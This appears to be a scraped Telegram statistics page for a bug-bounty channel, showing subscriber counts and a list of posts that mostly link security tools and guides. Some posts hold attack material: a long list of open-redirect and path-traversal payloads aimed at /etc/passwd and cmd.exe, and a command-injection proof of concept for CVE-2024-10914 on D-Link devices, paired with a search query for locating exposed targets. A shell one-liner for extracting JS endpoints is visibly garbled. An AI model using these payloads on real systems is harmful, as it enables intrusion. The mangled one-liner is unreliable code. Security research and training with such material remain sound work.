Bug Bounty
前往频道在 Telegram
Bugbounty Resources • Tips • Security Zines • Writeups • Vulnerability Update • Notes • Mindmaps • Cheatsheets • Checklists • Article / Blogs • PDFs • ebooks •
显示更多9 446
订阅者
无数据24 小时
-37 天
-6030 天
数据加载中...
吸引订阅者
六月 '25
六月 '25
+23
在0个频道中
五月 '25
+31
在0个频道中
Get PRO
四月 '25
+31
在0个频道中
Get PRO
三月 '25
+44
在0个频道中
Get PRO
二月 '25
+31
在0个频道中
Get PRO
一月 '25
+35
在0个频道中
Get PRO
十二月 '24
+47
在0个频道中
Get PRO
十一月 '24
+479
在0个频道中
Get PRO
十月 '24
+372
在0个频道中
Get PRO
九月 '24
+67
在0个频道中
Get PRO
八月 '24
+352
在1个频道中
Get PRO
七月 '24
+568
在0个频道中
Get PRO
六月 '24
+207
在1个频道中
Get PRO
五月 '24
+356
在2个频道中
Get PRO
四月 '24
+233
在1个频道中
Get PRO
三月 '24
+159
在0个频道中
Get PRO
二月 '24
+142
在1个频道中
Get PRO
一月 '24
+531
在0个频道中
Get PRO
十二月 '23
+486
在0个频道中
Get PRO
十一月 '23
+126
在0个频道中
Get PRO
十月 '23
+188
在0个频道中
Get PRO
九月 '23
+95
在0个频道中
Get PRO
八月 '23
+184
在0个频道中
Get PRO
七月 '23
+581
在0个频道中
Get PRO
六月 '23
+79
在0个频道中
Get PRO
五月 '23
+239
在0个频道中
Get PRO
四月 '23
+88
在0个频道中
Get PRO
三月 '23
+155
在0个频道中
Get PRO
二月 '23
+665
在0个频道中
Get PRO
一月 '23
+784
在0个频道中
Get PRO
十二月 '22
+1 254
在0个频道中
Get PRO
十一月 '22
+2 347
在0个频道中
Get PRO
十月 '22
+565
在0个频道中
| 日期 | 订阅者增长 | 提及 | 频道 | |
| 21 六月 | +1 | |||
| 20 六月 | +1 | |||
| 19 六月 | 0 | |||
| 18 六月 | +2 | |||
| 17 六月 | +1 | |||
| 16 六月 | 0 | |||
| 15 六月 | +2 | |||
| 14 六月 | +3 | |||
| 13 六月 | +1 | |||
| 12 六月 | 0 | |||
| 11 六月 | 0 | |||
| 10 六月 | 0 | |||
| 09 六月 | 0 | |||
| 08 六月 | +2 | |||
| 07 六月 | +1 | |||
| 06 六月 | +2 | |||
| 05 六月 | 0 | |||
| 04 六月 | +2 | |||
| 03 六月 | 0 | |||
| 02 六月 | +1 | |||
| 01 六月 | +4 |
频道帖子
🚀 Exciting News for #InfoSec & #BugBounty! 🛡
ProxSec v1.0.0 is out—an open-source extension for security pros! 🔥
✅ Proxy management
✅ Scope validation
✅ Program tracking
✅ Lightweight & private
Open-Source : https://github.com/aacle/ProxSec
Feedback welcome! 💬
| 2 |  🔖The ultimate 403 Bypass wordlists and tester notes by JHaddix
📱 Github: 🔗 Link | 0 |
| 3 | TOP_100_Vulnerabilities_Step_by_Step_Guide_Handbook.pdf | 0 |
| 4 |  🔖 Dnsbruter - A powerful tool for active subdomain enumeration and discovery.
✨ Features:
Dnsbruter uses DNS resolution to bruteforce and identify subdomains efficiently. Its multithreading capability allows users to control concurrency for faster and more effective results. Perfect for researchers and pen testers targeting domain reconnaissance.
🔗 https://github.com/RevoltSecurities/Dnsbruter/ | 0 |
| 5 | bounty_tips_100+.pdf | 0 |
| 6 | ⚡️Want to download 100+ Bug Bounty Tips collected from X?
✅Download the PDF from here
#BugBounty #bugbountytips | 0 |
| 7 | ⚡️Want to download 100+ Bug Bounty Tips collected from X?
✅Download the PDF from here - https://t.me/brutsecurity/767
#BugBounty #bugbountytips | 0 |
| 8 | bounty_tips_100+.pdf | 0 |
| 9 |  Extract all endpoints from a JS File and take your bug 🐞
✅Method one
waybackurls HOSTS | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]?
15*[=: 1\5*[ '\"]?[^'\"]+.js[^'|"> ]*" | awk -F '/'
'{if(length($2))print "https://"$2}' | sort -fu | xargs -I '%' sh
-c "curl -k -s \"%)" | sed \"s/[;}\)>]/\n/g\" | grep -Po \" (L'1|\"](https?: )?[/1{1,2}[^'||l"> 1{5,3)|(\.
(get|post|ajax|load)\s*\(\5*['||\"](https?:)?[/1{1,2}[^'||\"> ]
{5,})\"" | awk -F "['|"]" '{print $2}' sort -fu
✅Method two
cat JS.txt | grep -aop "(?<=(\"|\'|' ))\/[a-zA-Z0-9?&=\/-#.](?= (\"||'|'))" | sort -u | tee JS.txt
#infosec #cybersec #bugbountytips | 0 |
| 10 |  🔍 gitlab-subdomains - A Go-based tool to uncover subdomains via GitLab searches.
🔗https://github.com/gwen001/gitlab-subdomains | 0 |
| 11 | https://mikko-kenttala.medium.com/zero-click-calendar-invite-critical-zero-click-vulnerability-chain-in-macos-a7a434fc887b | 0 |
| 12 |  🔖Ex-param - an automated tool designed for finding reflected parameters for XSS vulnerabilities
✅https://github.com/rootDR/ex-param | 0 |
| 13 |  +1🔖AWS penetration testing: A step-by-step Guide for Beginners
☄️https://www.hackthebox.com/blog/aws-pentesting-guide | 0 |
| 14 |  https://github.com/harsh-bothra/learn365/blob/main/days/day5.md | 0 |
| 15 | ☄️You can try this effective manual openredirect Bypass☄️
1. Null-byte injection:
- /google.com%00/
- //google.com%00
2. Base64 encoding variations:
- aHR0cDovL2dvb2dsZS5jb20=
- aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbQ==
- //base64:d3d3Lmdvb2dsZS5jb20=/
3. Case-sensitive variations:
- //GOOGLE.com/
- //GoOgLe.com/
4. Overlong UTF-8 sequences:
- %C0%AE%C0%AE%2F (overlong encoding for ../)
- %C0%AF%C0%AF%2F%2Fgoogle.com
5. Mixed encoding schemes:
- /%68%74%74%70://google.com
- //base64:%32%46%32%46%67%6F%6F%67%6C%65%2E%63%6F%6D
- //base64:%2F%2Fgoogle.com/
6. Alternative domain notations:
- //google.com@127.0.0.1/
- //127.0.0.1.xip.io/
- //0x7F000001/ (hexadecimal IP)
7. Trailing special characters:
- //google.com/#/
- //google.com/;&/
- //google.com/?id=123&//
8. Octal IP address format:
- http://0177.0.0.1/
- http://00177.0000.0000.0001/
9. IP address variants:
- http://3232235777 (decimal notation of an IP)
- http://0xC0A80001 (hex notation of IP)
- http://192.168.1.1/
10. Path traversal with encoding:
- /..%252f..%252f..%252fetc/passwd
- /%252e%252e/%252e%252e/%252e%252e/etc/passwd
- /..%5c..%5c..%5cwindows/system32/cmd.exe
11. Alternate protocol inclusion:
- ftp://google.com/
- javascript:alert(1)//google.com
12. Protocol-relative URLs:
- :////google.com/
- :///google.com/
13. Redirection edge cases:
- //google.com/?q=//bing.com/
- //google.com?q=https://another-site.com/
14. IPv6 notation:
- http://[::1]/
- http://[::ffff:192.168.1.1]/
15. Double URL encoding:
- %252f%252fgoogle.com (encoded twice)
- %255cgoogle.com
16. Combined traversal & encoding:
- /%2E%2E/%2E%2E/etc/passwd
- /%2e%2e%5c%2e%2e/etc/passwd
17. Reverse DNS-based:
- https://google.com.reverselookup.com
- //lookup-reversed.google.com/
18. Non-standard ports:
- http://google.com:81/
- https://google.com:444/
19. Unicode obfuscation in paths:
- /%E2%80%8Egoogle.com/
- /%C2%A0google.com/
20. Query parameters obfuscation:
- //google.com/?q=http://another-site.com/
- //google.com/?redirect=https://google.com/
21. Using @ symbol for userinfo:
- https://admin:password@google.com/
- http://@google.com
22. Combination of userinfo and traversal:
- https://admin:password@google.com/../../etc/passwd | 0 |
| 16 |  ⚡️uro - Using a URL list for security testing can be painful as there are a lot of URLs that have uninteresting/duplicate content; uro aims to solve that.
🔗github.com/s0md3v/uro | 0 |
| 17 |  cve-2024-10914
GET
/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;<INJECTED_SHELL_COMMAND>;%27
FOFA：app =D_Link-DNS-ShareCenter
#exploit #poc #IoT | 0 |
| 18 |  ⚠️ S3 Bucket Recon ⚠️
Source : https://github.com/securitycipher/awsome-websecurity-checklist/blob/main/Mindmaps/S3-Bucket%20Recon.png | 0 |
| 19 | Hey everyone! 🌟 Hope you’re all doing well in your current phase. I’m looking for a skilled React Native developer to join us and help mitigate some ongoing challenges. If you’re interested or know someone who might be a great fit, please reach out to me at @rootxabhishek. Thanks! | 0 |
| 20 | https://tagmango.com/web/checkout/671a883165626b7204a59a11
Use the coupon code HACKER30 to unlock a 30% discount, exclusively available for the first 100 customers! Don’t miss out—grab your deal now! | 0 |
